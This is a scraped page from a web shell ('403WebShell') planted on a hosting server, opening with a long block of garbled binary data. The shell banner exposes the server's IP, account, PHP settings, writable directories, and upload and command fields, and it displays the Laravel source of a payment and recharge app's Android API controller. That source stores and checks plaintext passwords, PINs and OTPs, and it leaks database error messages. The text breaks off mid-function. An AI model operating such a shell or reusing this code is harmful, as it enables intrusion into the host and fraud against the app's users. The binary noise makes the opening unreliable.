DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 176.9.80.28  /  Your IP : 216.73.216.65
Web Server : LiteSpeed
System : Linux server959.iseencloud.net 4.18.0-553.157.1.lve.el8.x86_64 #1 SMP Mon Aug 24 17:05:39 UTC 2026 x86_64
User : prepayne ( 4255)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/prepayne/www/test.prepaynetwork.in/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/prepayne/www/test.prepaynetwork.in/app/Http/Controllers/Android.php
<?php

namespace App\Http\Controllers;

use Carbon\Carbon;
use App\Mail\SendEmail;
use Illuminate\Support\Facades\Mail;
use Illuminate\Validation\Rule;
use Illuminate\Support\Facades\Validator;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Schema;
use Illuminate\Support\Arr;
#models section
use App\Models\User;
use App\Models\Register;
use App\Models\App;
use App\Models\Setting;
use App\Models\Aeps;
use Illuminate\Database\QueryException as Qx;
use Illuminate\Support\Facades\Http;


class Android extends Controller
{
	protected $pomode = 'pin';
    protected function getPlans($mobile)
    {
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
         $url = 'https://partner.ecuzen.in/new/api/recharge/fetchop';
        $response = $this->callApi($url,'POST',['api_key'=>$api_key,'mobile'=>$mobile],'');
        $data = json_decode($response);
            $sendingdata = array(
            'api_key' => $api_key,
            'circle' => $data->circle,
            'opid' => $data->opid,
            );
        $url = 'https://partner.ecuzen.in/new/api/recharge/plans';
        $response = $this->callApi($url,'POST',$sendingdata,'');
        return $response;
    }
    
	public function login(Request $res)
	{
	  
		/*if(!$res->isJson()
        return response()->json(['status'=>'ERROR','message'=>'Invalid request format!','error'=>'false']);*/
		$validator = Validator::make($res->all(), [
			'phone' => 'required|numeric|regex:/^[1-9]{1}[0-9]{9}$/',
			'password' => 'required|string',
			'imei' => 'required|string',
			'device' => 'required|string',
		]);
		if ($validator->fails()) {
			$errors = $validator->errors();
			return response()->json(['status' => 'ERROR', 'info' => $errors->first(), 'message' => 'Validation error!!', 'error' => false], 400);
		}
		$phone = $res->phone;
		$password = $res->password;
		$imei = $res->imei;
		$device = $res->device;
		$this->pomode = $res->ltype;
		// $lat = $res->lat;
		// $log = $res->log;
		#check for phone number
		$checkPhone = DB::table('users')->where('phone', $phone)->count();
		if ($checkPhone != 1) {
			return response()->json(['status' => 'ERROR', 'error' => false, 'message' => 'No User is associated with this phone number!'], 422);
		}
		#check for password
		$user = User::where('phone', $phone)->first();
		$checkPassword = $user->password;
		if ($checkPassword != $password) {
			return response()->json(['status' => 'ERROR', 'payload' => 'Invalid Password', 'message' => 'Wrong password!', 'error' => false], 401);
		}
		if ($this->pomode == 'pin') {
			$otp = $user->pin;
			$method = 'pin';
			$sendmsg = 'Please Enter your PIN to verify Login';
		} else {
			$otp = rand(100000, 999999);
			$method = 'otp';
			$sendmsg = 'Please Enter 6 Digit OTP shared to your mobile number!!';
		}
		$temp_key = uniqid();
		#check for existance or not 
		$checkAlready = App::where('uid', $user->id)->count();
		if ($checkAlready == 0) {
			$data = array(
				'uid' => $user->id,
				'temp_key' => $temp_key,
				'phone' => $phone,
				'method' => $method,
				'otp' => $otp,
				'imei' => $imei,
				'device' => $device,
				// 'lat' => $lat,
				// 'log' => $log,
				'ip' => $res->ip(),
			);
			$app = new App();
			$app->fill($data);
			$res = $app->save();
			if ($res)
				return response()->json(['status' => 'SUCCESS', 'message' => $sendmsg, 'mode' => $method, 'log_key' => $temp_key, 'error' => false], 200);
			else
				return response()->json(['status' => 'ERROR', 'message' => 'Not Implemented', 'error' => false], 501);
		} else {
			$data = array(
				'temp_key' => $temp_key,
				'method' => $method,
				'otp' => $otp,
				'imei' => $imei,
				'device' => $device,
				// 'lat' => $lat,
				// 'log' => $log,
				'ip' => $res->ip(),
			);
			$res = App::where('uid', $user->id)->update($data);
			if ($res)
				return response()->json(['status' => 'SUCCESS', 'message' => $sendmsg, 'mode' => $method, 'log_key' => $temp_key, 'error' => false], 200);
			else
				return response()->json(['status' => 'ERROR', 'message' => 'Not Implemented', 'error' => false], 501);
		}
	}
	public function getRole()
	{
		$roles = DB::table('role')->select('id', 'name')->get();
		$data = array(
			'roles' => $roles
		);
		return response()->json(['status' => 'SUCCESS', 'error' => false, 'message' => 'Roles fetched successfully!!', 'data' => $data], 200);
	}
	public function rdName()
	{
		$roles = DB::table('rdservice')->select('id', 'name')->get();
		$data = array(
			'rdname' => $roles
		);
		return response()->json(['status' => 'SUCCESS', 'error' => false, 'message' => 'Rd services fetched successfully!!', 'data' => $data], 200);
	}
	public function register(Request $res)
	{
		$validator = Validator::make($res->all(), [
			'phone' => 'required|numeric|unique:users,phone|regex:/^[1-9]{1}[0-9]{9}$/',
			'name' => 'required|string',
			'email' => 'required|email|unique:users,email',
			'role' => 'required|numeric',
		]);
		if ($validator->fails()) {
			$errors = $validator->errors();
			return response()->json(['status' => 'ERROR', 'info' => $errors, 'message' => $errors->first(), 'error' => false], 400);
		}
		$phone = $res->phone;
		$email = $res->email;
		$name = $res->name;
		$role = $res->role;
		#check for existance
		$checkPhone = User::where('phone', $phone)->count();
		if ($checkPhone != 0)
			return response()->json(['status' => 'ERROR', 'error' => false, 'message' => 'Phone number already exists!'], 422);
		$checkEmail = User::where('email', $email)->count();
		if ($checkEmail != 0)
			return response()->json(['status' => 'ERROR', 'error' => false, 'message' => 'Email Id already exists!'], 422);
		$checkPhone = Register::where('mobile', $phone)->count();
		if ($checkPhone != 0)
			return response()->json(['status' => 'ERROR', 'error' => false, 'message' => 'Phone number already exists!'], 422);
		$checkEmail = Register::where('email', $email)->count();
		if ($checkEmail != 0)
			return response()->json(['status' => 'ERROR', 'error' => false, 'message' => 'Email Id already exists!'], 422);
		$name = explode(" ", $name);
		$first = $name[0];
		$last = array_slice($name, 1);
		$last =  implode(" ", $last);
		$data = array(
			'first' => $first,
			'last' => $last,
			'mobile' => $phone,
			'email' => $email,
			'role' => $role,
			'ip' => $res->ip(),
			'ref_by' => '0'
		);
		$register = new Register();
		$register->fill($data);
		$res = $register->save();
		if ($res)
			return response()->json(['status' => 'SUCCESS', 'error' => false, 'message' => 'Registration successfull!'], 200);
		else
			return response()->json(['status' => 'SUCCESS', 'error' => false, 'message' => 'Not implemented!'], 501);
	}
	public function getBankList()
	{
		$roles = DB::table('banks')->select('id', 'name')->get();
		$data = array(
			'bank' => $roles
		);
		return response()->json(['status' => 'SUCCESS', 'error' => false, 'message' => 'Rd services fetched successfully!!', 'data' => $data], 200);
	}
	public function loginVerify(Request $res)
	{
		$validator = Validator::make($res->all(), [
			'log_key' => 'required|string',
			'otp' => 'required|numeric',
		]);
		if ($validator->fails()) {
			$errors = $validator->errors();
			return response()->json(['status' => 'ERROR', 'info' => $errors->first(), 'message' => 'Validation error!!', 'error' => false], 400);
		}
		$logKey = $res->log_key;
		$otp = $res->otp;
		$getRow = App::where('temp_key', $logKey)->first();
		if ($getRow == "" || $getRow == null)
			return response()->json(['status' => 'ERROR', 'message' => 'Invalid request!', 'error' => false], 400);
		if ($otp != $getRow->otp)
			return response()->json(['status' => 'ERROR', 'message' => 'Invalid ' . $getRow->method . '!', 'error' => false], 400);
		$userRow = User::find($getRow->uid);
		#create header token and header key 
		$token = Str::random(30);
		$key = Str::random(30);
		App::where('temp_key', $logKey)->update(['api_key' => $key, 'api_secret' => $token]);
		#check kyc 
		$checkKyc = DB::table('kyc')->where('uid', $userRow->id)->first();
		if ($checkKyc == "" || $checkKyc == null) {
			$kycStatus = 'NO';
		} else {
			if ($checkKyc->active == 0) {
				$kycStatus = 'PENDING';
			} else {
				$kycStatus = 'YES';
			}
			$kycData = array(
				'supportmail' => Setting::where('name', 'cemail')->first()->value,
				'supportphone' => Setting::where('name', 'cnumber')->first()->value,
				'shopname' => $checkKyc->shopname,
				'shopaddress' => $checkKyc->shopaddress,
				'address' => $checkKyc->address,
				'district' => $checkKyc->district,
				'state' => DB::table('icicstate')->where('id', $checkKyc->state)->first()->name,
				'pin' => $checkKyc->pincode,
				'dob' => $checkKyc->dob,
			);
		}
		$kycData['kyc'] = $kycStatus;
		$data = array(
			'accountkycstatus' => $kycData
		);
		return response()->json(['status' => 'SUCCESS', 'message' => 'Login successfully', 'data' => $data, 'header_token' => $token, 'header_key' => $key, 'error' => false], 200);
	}
	public function logout(Request $res)
	{
	    $uid = $res->uid;
	    App::where('uid',$uid)->update(['api_key'=>null,'api_secret'=>null,'temp_key'=>null]);
	    return response()->json(['status'=>'SUCCESS','message'=>'Logout successfully!!','error'=>true]);
	}
	public function getAllstate()
	{
		$state = DB::table('icicstate')->orderBy('name', 'ASC')->select('id', 'name')->get();
		$data = array(
			'state' => $state
		);
		return response()->json(['status' => 'SUCCESS', 'data' => $data, 'message' => 'All states are fetched successfully', 'error' => false], 200);
	}
	public function userForgot(Request $res, $type)
	{
		$blockedUsers = ['password', 'pin'];
		if (!in_array($type, $blockedUsers)) {
			return abort(404);
		}
		$validator = Validator::make($res->all(), [
			'email' => 'required|email|unique:users,email',
		]);
		if ($validator->fails()) {
			$email = $res->email;
			$userRow = User::where('email', $email)->first();
			$token = Str::random(60);
			#check if email exist 
			$checkExistance = DB::table('password_reset_tokens')->where('email', $email)->count();
			if ($checkExistance <= 0) {
				$insertData = array(
					'email' => $email,
					'token' => $token
				);
				DB::table('password_reset_tokens')->insert($insertData);
			} else {
				DB::table('password_reset_tokens')->where('email', $email)->update(['token' => $token]);
			}
			if ($type == 'password')
				$resetLink = url('/reset/password/' . $token);
			else
				$resetLink = url('/reset/pin/' . $token);
			$data = [
				'view' => 'mail.password.forget',
				'subject' => ucfirst($type) . ' reset request',
				'logo' => DB::table('settings')->where('name', 'logo')->first()->value,
				'company' => DB::table('settings')->where('name', 'title')->first()->value,
				'type' => ucfirst($type),
				'reset_link' => $resetLink
			];
			Mail::to($email)->send(new SendEmail($data));
			return response()->json(['status' => 'SUCCESS', 'message' => $type . ' reset link send to your registered email address', 'error' => false]);
		} else {
			return response()->json(['status' => 'ERROR', 'message' => 'This email id is not associated with any user!', 'error' => false],400);
		}
	}
	
	public function submitKyc(Request $res)
	{
		$validator = Validator::make($res->all(), [
			'aadharNumber' => 'required|numeric|digits:12',
			'aadharFront' => 'required|image|mimes:jpeg,png,jpg,gif|max:2048',
			'aadharBack' => 'required|image|mimes:jpeg,png,jpg,gif|max:2048',
			'panImage' => 'required|image|mimes:jpeg,png,jpg,gif|max:2048',
			'panNumber' => 'required|string',
			'address' => 'required|string',
			'dob' => 'required|date',
			'shopName' => 'required|string',
			'pinCode' => 'required|numeric|digits:6',
			'district' => 'required|string',
			'shopAddress' => 'required|string',
			'fatherName' => 'required|string',
		]);
		if ($validator->fails()) {
			$errors = $validator->errors()->first();
			return response()->json(['status' => 'ERROR', 'message' => $errors, 'error' => false], 400);
		}
// 		return $res;
		$user = $res->user();
		$uid = $user->id;
		// return $uid;
		$aadhar = $res->aadharNumber;
		$check = DB::table('kyc')->where('adhaar', $aadhar)->orWhere('uid', $uid)->count();
		if ($check != 0)
			return response()->json(['status' => 'ERROR', 'message' => 'You already fill your KYC please wait untill admin approve your kyc!', 'error' => false], 422);
		$address = $res->address;
		$pincode = $res->pinCode;
		$pan = $res->panNumber;
		$adhaarimg = $this->upliadFile($res->file('aadharFront'));
		$panimg = $this->upliadFile($res->file('panImage'));
		$shopname = $res->shopName;
		$shopaddress = $res->shopAddress;
		$state = $res->state;
		$district = $res->district;
		$adhaarback = $this->upliadFile($res->file('aadharBack'));
		$fname = $res->fatherName;
		$dob = $res->dob;
		$sendingData = array(
			'uid' => $uid,
			'address' => $address,
			'pincode' => $pincode,
			'pan' => strtoupper($pan),
			'adhaar' => $aadhar,
			'adhaarimg' => $adhaarimg,
			'panimg' => $panimg,
			'shopname' => $shopname,
			'shopaddress' => $shopaddress,
			'active' => 0,
			'state' => $state,
			'district' => $district,
			'adhaarback' => $adhaarback,
			'fname' => $fname,
			'dob' => $dob
		);
		$res = $this->insertdata('kyc', $sendingData);
		if ($res) {
			$checkKyc = DB::table('kyc')->where('uid', $user->id)->first();
			$kycData = array(
				'supportmail' => Setting::where('name', 'cemail')->first()->value,
				'supportphone' => Setting::where('name', 'cnumber')->first()->value,
				'shopname' => $checkKyc->shopname,
				'shopaddress' => $checkKyc->shopaddress,
				'address' => $checkKyc->address,
				'district' => $checkKyc->district,
				'state' => DB::table('icicstate')->where('id', $checkKyc->state)->first()->name,
				'pin' => $checkKyc->pincode,
				'dob' => $checkKyc->dob,
				'kyc' => 'PENDING'
			);
			$data = array(
				'accountkycstatus' => $kycData
			);
			return response()->json(['status' => 'SUCCESS', 'message' => 'You KYC has been completed please wait for admin to approve your KYC request!!', 'data' => $data, 'error' => false]);
		}
		return response()->json(['status' > 'ERROR', 'message' => 'Database errors', 'error' => false],500);
	}
	function contact_data()
	{
		$required = ['title', 'logo', 'cnumber', 'cemail', 'news', 'address', 'facebook', 'youtube', 'twitter', 'instagram', 'linkedin'];
		$data = DB::table('settings')->whereIn('name', $required)->get();
		$f = [];
		foreach ($data as $d) {
			$f[$d->name] = $d->value;
		}
		return response()->json(['status' => 'SUCCESS', 'message' => 'Data fetched', 'data' => ['support' => $f]]);
	}
	
	function view_profile(Request $req)
	{
		//data->userprofile /$kycData
		$user = $req->user();
		$kyc = $user->kyc;
		if ($kyc != null) {
			$kyc->makeHidden(['id', 'uid']);
		}
		return response()->json([
			'status' => 'SUCCESS', 'message' => 'user profile fetched', 'data' =>
			[
				'kyc' => $kyc,
				'profile' => [
					'username' => $user->username, 'name' => $user->name,'profile' => $user->profile, 'mobile' => $user->phone, 'email' => $user->email,
					 'outlet' => DB::table('aepskyc')->where('uid',$user->id)->first()->outlet??''
				 ]
			 ]
		]);
	}
	
	function update_user_location(Request $req)
	{
		$appdata = $req->appdata;
		if ($appdata == null) {
			return response()->json(['status' => 'ERROR', 'message' => 'Login details not found'], 400);
		}
		$validator = Validator::make($req->all(), [
			'lat' => 'required|numeric|between:-90,90',
			'long' => 'required|numeric|between:-180,180',
			'device_id' => 'required'
		], [
			'lat.between' => 'The latitude must be in range between -90 and 90',
			'long.between' => 'The longitude must be in range between -180 and 180'
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(),'info'=>$validator->errors()], 400);
		}
		try {
			DB::table('app')->where('id', $appdata->id)->update([
				'lat' => $req->lat,
				'log' => $req->long,
				'device_id' => $req->device_id,
				'device_token' => $req->device_token??null,
				'device_type' => $req->device_type??null
			]);
			return response()->json(['status' => 'SUCCESS', 'message' => 'updated successfully']);
		} catch (\Illuminate\Database\QueryException $e) {
			// return $e->getMessage(); //for debugging only
			return response()->json(['status' => 'ERROR', 'message' => 'Unknown error occured'], 500);
		}
	}
	function update_password(Request $req)
	{
		$validator = Validator::make($req->all(), [
			'current_password' => 'required',
			'new_password' => 'required',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first()]);
		}
		$user = $req->user();
		if ($user->password != $req->current_password) {
			return response()->json(['status' => 'ERROR', 'message' => 'Invalid password'], 403);
		}
		$user->password = $req->new_password;
		$user->save();
		return response()->json(['status' => 'SUCCESS', 'message' => "Password saved successfully"]);
	}
	function update_pin(Request $req)
	{
		$validator = Validator::make($req->all(), [
			'current_pin' => 'required|numeric',
			'new_pin' => 'required|numeric',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first()]);
		}
		$user = $req->user();
		if ($user->pin != $req->current_pin) {
			return response()->json(['status' => 'ERROR', 'message' => 'Invalid PIN'], 403);
		}
		try {
			$user->pin = $req->new_pin;
			$user->save();
			return response()->json(['status' => 'SUCCESS', 'message' => 'PIN Updated successfully']);
		} catch (Qx $e) {
			// return $e->getMessage();
			return response()->json(['status' => 'ERROR', 'message' => 'Unknown error occured'], 500);
		}
	}
	
// 	function update_profile(Request $req)
// 	{
// 		$validator = Validator::make($req->all(), [
// 			'name' => "required",
// 			'mobile' => "required|numeric",
// 			'email' => "required|email"
// 		]);
// 		if ($validator->fails()) {
// 			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors()], 400);
// 		}
// 		$user = $req->user();
// 		try {
// 			$user->name = $req->name;
// 			$user->phone = $req->mobile;
// 			$user->email = $req->email;
// 			$user->save();
// 			return response()->json(['status' => 'SUCCESS', 'message' => 'Profile updated successfully', 'data' => ['profile' => ['username' => $user->username, 'name' => $user->name, 'mobile' => $user->phone, 'email' => $user->email]]]);
// 		} catch (Qx $e) {
// 			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first()], 400);
// 		}
//}



	function update_profile(Request $req)
	{
		$validator = Validator::make($req->all(), [
			'name' => "required",
			'mobile' => "required|numeric",
			'profile' => "",
			'email' => "required|email"
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors()], 400);
		}
		$user = $req->user();
		$imageName = ''; 
		try {
		    
		     // Store the uploaded image
		     if ($req->hasFile('profile')) {
            $imageName = time() . uniqid() . '.' . $req->profile->extension();
            $req->profile->move(public_path('uploads'), $imageName);
        }
			$user->name = $req->name;
			$user->phone = $req->mobile;
			$user->email = $req->email;
            if (!empty($imageName)) {
            $user->profile = env('APP_URL').'/public/uploads/' . $imageName;
        }
        
        $user->save();
			return response()->json(['status' => 'SUCCESS', 'message' => 'Profile updated successfully', 'data' => ['profile' => ['username' => $user->username, 'name' => $user->name,'profile' => $user->profile, 'mobile' => $user->phone, 'email' => $user->email]]]);
		} catch (Qx $e) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first()], 400);
		}
	}
	function wallet(Request$req)
	{
	    return response()->json(['status'=>'SUCCESS','message'=>'balance fetched','walletBalance'=>(double)$req->user()->wallet,'lock_amt'=>(double)$req->user()->lamount]);
	}
	
	function topup(Request $req)
	  {
	    $validator=Validator::make($req->all(),[
	        'amount'=>'required|numeric',
	        'bank'=>'required|exists:bank,id',
	        'rrn'=>'required|unique:topup,rrn',
	        'txn_date'=>'required|date|before_or_equal:today',
	        'proof'=>'required|file|mimes:jpeg,png,jpg|max:200',
	        ],[
	            'amount.required'=>'Amount is required',
	            'bank.required'=>'Bank is required',
	            'rrn.required'=>'RRN is required',
	            'txn_date.required'=>'Transaction Date is required',
	            'txn_date.before_or_equal'=>'The transaction date cannot be set in the future.',
	            'rrn.unique'=>'The RRN is either invalid or a request has already been made for this particular one.',
	            ]);
	        if($validator->fails()){
	            return response()->json(['status'=>"ERROR",'message'=>$validator->errors()->first(),'info'=>$validator->errors()],400);
	        }
	        $user=$req->user();
	        $txnid="TOPUP".strtoupper(uniqid());
	        try{
	            DB::table('topup')->insert([
	                'txnid'=>$txnid,
	                'amount'=>$req->amount,
	                'bank'=>$req->bank,
	                'rrn'=>$req->rrn,
	                'proof'=>$this->upliadFile($req->file('proof')),
	                'transaction_date'=>$req->txn_date,
	                'uid'=>$user->id,
	                'status'=>'PENDING'
	                ]);
	        }catch(Qx $e){
	            return response()->json(['status'=>'ERROR','message'=>'Unknown error occured, PLease try after some time','trackid'=>'IBUJUI897','data'=>['errorinfo'=>$e->getMessage()]],500);
	        }
	        return response(['status'=>'SUCCESS','message'=>'Request submitted','txnid'=>$txnid]);
	}
	public function getAllReportType()
	{
	    $data = DB::table('reportItems')->get();
	    return response()->json(['status'=>'SUCCESS','message'=>'Report items fetched successfully','data'=>['reportItems'=>$data],'error'=>false]);
	}
	public function getReport(Request $res)
	{
	    $validator = Validator::make($res->all(), [
			'from' => 'required|date',
			'to' => 'required|date',
			'type' => 'required|string'
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		
		$page_number = (!empty(request('page_number'))) ? request('page_number') : 1;
		$limit = (!empty(request('limit'))) ? request('limit') : 10;
		$offset = ($page_number-1) * $limit;
		
	    $type = $res->type;
	    $allowedTypes = ['aeps','money-transfer','qtransfer','payout','recharge','bbps','uti-coupon','wallet','wallet-to-wallet','dth'];
	    if(!in_array($type,$allowedTypes))
	    return view('errors.404');
	    $uid = $res->uid;
        $from = date('Y-m-d H:i:s', strtotime(Carbon::parse($res->from)->startOfDay()));
        $to = date('Y-m-d H:i:s', strtotime(Carbon::parse($res->to)->endOfDay()));
        $orderType = 'desc';
        $search = $res->search??null;
        switch($type)
        {
            case 'aeps' :
                
                $Query = DB::table('iaepstxn')->where('uid',$uid);
                if(!empty($from) && !empty($to))
                {
                    $Query->whereBetween('date', [$from, $to]);   
                }
                
                if(!empty($search))
                {
                    $Query->where('txnid','like','%'.$search.'%');
                }
                $totalCount = $Query->count();
                $Query->orderBy('id', $orderType)->offset($offset)->take($limit);
                $txnData = $Query->get();
                if(!empty($txnData)) 
                {
                    foreach ($txnData as $tData)
                    {
                        $tData->bank = DB::table('banks')->where('id',$tData->bank)->first()->name;
                        if($tData->type == 'CW' || $tData->type == 'AP')
                        $tData->amount = $tData->txnamount;
                    }
                    return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['aepsReport'=>$txnData],'error'=>false ,'total_record' => $totalCount]);
                }
                else
                {
                    return response()->json(['status'=>'SUCCESS','message'=>'No Transactions found!!','data'=>['aepsReport'=>[]],'error'=>false ,'total_record' => $totalCount]);
                }
                break;
            case 'money-transfer' :
                $txnData = DB::table('dmrtxn')->where('uid',$uid)->orderBy('id', $orderType);
                if($search == null)
                $txnData->whereBetween('date', [$from, $to]);
                else
                $txnData->where('txnid','like','%'.$search.'%');
                $totalCount = $txnData->count();
                $txnData = $txnData->offset($offset)->take($limit)->get();
                if($totalCount == 0)
                return response()->json(['status'=>'SUCCESS','message'=>'No Transactions found!!','data'=>['dmtReport'=>[]],'error'=>false,'total_record'=>$totalCount]);
                return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['dmtReport'=>$txnData],'error'=>false,'total_record'=>$totalCount]);
                break;
            case 'qtransfer' :
                $txnData = DB::table('qtransfertxn')->where('uid',$uid)->orderBy('id', $orderType);
                if($search == null)
                $txnData->whereBetween('date', [$from, $to]);
                else
                $txnData->where('txnid','like','%'.$search.'%');
                $totalCount = $txnData->count();
                $txnData = $txnData->offset($offset)->take($limit)->get();
                if($totalCount == 0)
                return response()->json(['status'=>'SUCCESS','message'=>'No Transactions found!!','data'=>['qtransferReport'=>[]],'error'=>false,'total_record'=>$totalCount]);
                return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['qtransferReport'=>$txnData],'error'=>false,'total_record'=>$totalCount]);
                break;
            case 'payout' :
                $txnData = DB::table('payouttxn')->where('uid',$uid)->orderBy('id', $orderType);
                if($search == null)
                $txnData->whereBetween('date', [$from, $to]);
                else
                $txnData->where('txnid','like','%'.$search.'%');
                $totalCount = $txnData->count();
                $txnData = $txnData->offset($offset)->take($limit)->get();
                if($totalCount == 0)
                return response()->json(['status'=>'SUCCESS','message'=>'No Transactions found!!','data'=>['payoutReport'=>[]],'error'=>false,'total_record'=>$totalCount]);
                return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['payoutReport'=>$txnData],'error'=>false,'total_record'=>$totalCount]);
                break;
            case 'recharge' :
                $txnData = DB::table('rechargetxn')->where('uid',$uid)->where('operator', '<=', 5)->orderBy('id', $orderType);
                if($search == null)
                $txnData->whereBetween('date', [$from, $to]);
                else
                $txnData->where('txnid','like','%'.$search.'%');
                $totalCount = $txnData->count();
                $txnData = $txnData->offset($offset)->take($limit)->get();
                if($totalCount == 0)
                return response()->json(['status'=>'SUCCESS','message'=>'No Transactions found!!','data'=>['rechargeReport'=>[]],'error'=>false,'total_record'=>$totalCount]);
                foreach ($txnData as $tData)
                {
                    $tData->operator = DB::table('rechargeop')->where('id',$tData->operator)->first()->name;
                }
                return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['rechargeReport'=>$txnData],'error'=>false,'total_record'=>$totalCount]);
                break;
            case 'dth' :
                $txnData = DB::table('rechargetxn')->where('uid',$uid)->where('operator', '>', 5)->orderBy('id', $orderType);
                if($search == null)
                $txnData->whereBetween('date', [$from, $to]);
                else
                $txnData->where('txnid','like','%'.$search.'%');
                $totalCount = $txnData->count();
                $txnData = $txnData->offset($offset)->take($limit)->get();
                if($totalCount == 0)
                return response()->json(['status'=>'SUCCESS','message'=>'No Transactions found!!','data'=>['rechargeReport'=>[]],'error'=>false,'total_record'=>$totalCount]);
                foreach ($txnData as $tData)
                {
                    $tData->operator = DB::table('rechargeop')->where('id',$tData->operator)->first()->name;
                }
                return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['rechargeReport'=>$txnData],'error'=>false,'total_record'=>$totalCount]);
                break;
            case 'bbps' :
                $txnData = DB::table('bbpstxn')->where('uid',$uid)->orderBy('id', $orderType);
                if($search == null)
                $txnData->whereBetween('date', [$from, $to]);
                else
                $txnData->where('txnid','like','%'.$search.'%');
                $totalCount = $txnData->count();
